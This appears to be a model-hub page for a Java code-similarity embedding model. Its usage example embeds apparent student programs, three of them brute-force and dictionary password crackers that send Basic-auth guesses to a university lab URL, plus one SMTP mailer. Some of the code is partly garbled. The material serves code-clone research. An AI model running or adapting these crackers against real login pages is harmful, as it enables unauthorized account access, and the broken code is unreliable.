Sentence Similarity
sentence-transformers
Safetensors
roberta
feature-extraction
Generated from Trainer
dataset_size:16705
loss:SoftmaxLoss
text-embeddings-inference
Instructions to use buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-e50 with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- sentence-transformers
How to use buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-e50 with sentence-transformers:
from sentence_transformers import SentenceTransformer model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-e50") sentences = [ "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private URL url;\n private HttpURLConnection connection ;\n private int stopTime = 0;\n private int startTime = 0;\n private int count = 0;\n\n public BruteForce()\n {\n System.out.println(\"Process is running...\");\n startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n }\n\n public static void main (String args[])\n {\n BruteForce bf = new BruteForce();\n }\n \n public void threeLetters()\n {\n String s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n count++;\n }\n }\n }\n }\n \n public void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1 < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1));\n decision(s1);\n count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1));\n decision(s1);\n count++;\n }\n }\n }\n\n \n public void decision(String s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n runTime = stopTime - startTime;\n System.out.println(\"***************************************\");\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the Web site: \");\n displayContent(s1);\n System.out.println(\"\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\\nNumber of attempts: \" + count);\n System.out.println();\n\n System.exit(0);\n }\n }\n \n \n public int find(String s1)\n {\n int responseCode = 0;\n try\n {\n url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n }catch (Exception e)\n {\n System.out.println(e.getMessage());\n }\n return responseCode;\n }\n\n \n public void displayContent(String pw)\n {\n BufferedReader bw = null ;\n try\n {\n url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream stream = (InputStream)(connection.getContent());\n if (stream != null)\n {\n InputStreamReader reader = new InputStreamReader (stream);\n bw = new BufferedReader (reader);\n String line;\n\n while ((line = bw.readLine()) != null)\n {\n System.out.println(line);\n }\n }\n }\n catch (IOException e)\n {\n System.out.println(e.getMessage());\n }\n }\n}\n\n\n\n\n", "\nimport java.io.*;\nimport java.net.Socket;\nimport java.util.*;\n\npublic class Email\n{\n private String hello;\n private String mailFrom=\"\";\n private String mailTo=\"\";\n private String mailData=\"\";\n \n private String subject=\"\";\n private String content=\"\";\n private String follows=\"\";\n private String changeContent=\"\";\n private String stop=\"\";\n private String end=\"\";\n private String line=\"\";\n private InputStream is;\n private BufferedReader bf;\n private OutputStream os;\n private PrintWriter pw;\n public Email(Vector change) throws Exception\n {\n hello= \"HELO mail.rmit.edu.\";\n mailFrom = \"MAIL FROM: @cs.rmit.edu.\";\n mailTo = \"RCPT : @cs.rmit.edu.\";\n mailData = \"DATA\";\n subject=\"Subject: Some changes occur\";\n content=\" is some changes the : http://www.cs.rmit.edu./students/\";\n follows=\"The changes as follows:\";\n for(int i=0;i<change.size();i++)\n changeContent+=change.elementAt(i).toString()+\"\\r\\n\";\n stop =\"\\r\\n.\";\n end=\"QUIT\";\n }\n public void send() throws Exception\n {\n Socket sk = new Socket(\"mail.cs.rmit.edu.\",25);\n is= sk.getInputStream();\n os = sk.getOutputStream();\n pw = new PrintWriter(new OutputStreamWriter(os));\n pw.println(hello);\n pw.println(mailFrom);\n pw.println(mailTo);\n pw.println(mailData);\n pw.println();\n pw.println(subject);\n pw.println(content);\n pw.println(follows);\n pw.println(changeContent);\n pw.println(stop);\n pw.println(end);\n pw.flush();\n pw.get();\n \n }\n}", "\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.util.*;\nimport java.net.*;\n\npublic class Dictionary\n{\n private String userPassword;\n private static int counter;\n\n\n\n\n\n public Dictionary(String username)\n {\n String user;\n String password;\n counter = 0;\n user = username;\n\n try\n {\n FileReader fr = new FileReader( \"/usr/share/lib/dict/words\" );\n BufferedReader bf = new BufferedReader( fr );\n\n while ((password = bf.readLine()) != null)\n {\n userPassword = user + \":\" + password;\n\n System.out.print(\".\");\n\n if (password.length() == 3)\n if (doEncoding(userPassword)== true)\n {\n System.out.println(password);\n return;\n }\n\n counter++;\n }\n }\n catch ( IOException ioe )\n {\n System.err.println( ioe.toString() );\n }\n }\n\n\n\n\n private boolean doEncoding(String userPassword)\n {\n String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());\n return doAttempt(encoding);\n }\n\n\n\n\n\n private boolean doAttempt (String encoding)\n {\n\n try\n {\n URL url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n URLConnection uc = url.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n\n uc.setRequestProperty (\"Get\", \"/SEC/2/ \" + \"HTTP/1.1\");\n uc.setRequestProperty (\"Host\", \"sec-crack.cs.rmit.edu.\");\n uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\n return uc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200 OK\");\n }\n catch (MalformedURLException e)\n {\n System.out.println (\"Invalid URL\");\n }\n catch (IOException e)\n {\n System.out.println (e.toString() );\n }\n\n return false;\n }\n\n\n\n\n\n public static void main(String args[])\n {\n Date sdate = new Date();\n System.out.print(\"Starting the Ditionary Attack at:\" + sdate + \"\\n\");\n\n Dictionary bf = new Dictionary(args[0]);\n\n Date edate = new Date();\n System.out.print(\"Ditionary Attack ends at:\" + sdate + \"\\n\");\n System.out.println(\"Time taken by Dictionary is : \" + (edate.getTime() - sdate.getTime())/1000 + \" seconds \\n\");\n System.out.print(\"Attempts in this session:\" + counter + \"\\n\");\n\n }\n}\n\n\n\n\n", "\n\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport java.io.*; \n\n \npublic class BruteForce { \n\n public int runProcess(String urlString,String passwd) { \n\n int returnval = 0;\n MyAuthenticator auth = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\n\t System.out.println(\"trying passord: \" + passwd);\n try{\n URL yahoo = new URL(urlString); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n String inputLine;\n while ((inputLine = in.readLine()) != null) {\n\t System.out.println(inputLine);\n\t System.out.println(\"passord: \" + passwd);\n returnval = 1;\n }\n\t in.close();\n }catch(Exception e){ returnval = 0;}\n return returnval;\n }\n\n public static void main(String argv[]) { \n\n String[] val = \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n int l1 = 0;\n\n int l2 = 0;\n\n int l3 = 0;\n \n int retval = 0;\n\n String pwd = \"\";\n\n \n BruteForce s = new BruteForce(); \n String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n \n for (int a = 0; a < 52; a++) {\n\n l1 = a;\n\n pwd = val[l1];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n\n\n for (int b = 0; b < 52; b++) {\n l1 = b;\n for (int c = 0; c < 52; c++) {\n\n l2 = c;\n pwd = val[l1]+ val[l2];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n }\n\n\n for (int d = 0; d < 52; d++) {\n l1 = d;\n for (int e = 0; e < 52; e++) {\n l2 = e;\n for (int f = 0; f < 52; f++) {\n\n l3 = f;\n\n pwd = val[l1]+ val[l2]+ val[l3];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n if (retval > 0) {\n System.exit(0);\n }\n }\n }\n }\n\n } \n} \n\n" ] embeddings = model.encode(sentences) similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [4, 4] - Notebooks
- Google Colab
- Kaggle
Welcome to the community
The community tab is the place to discuss and collaborate with the HF community!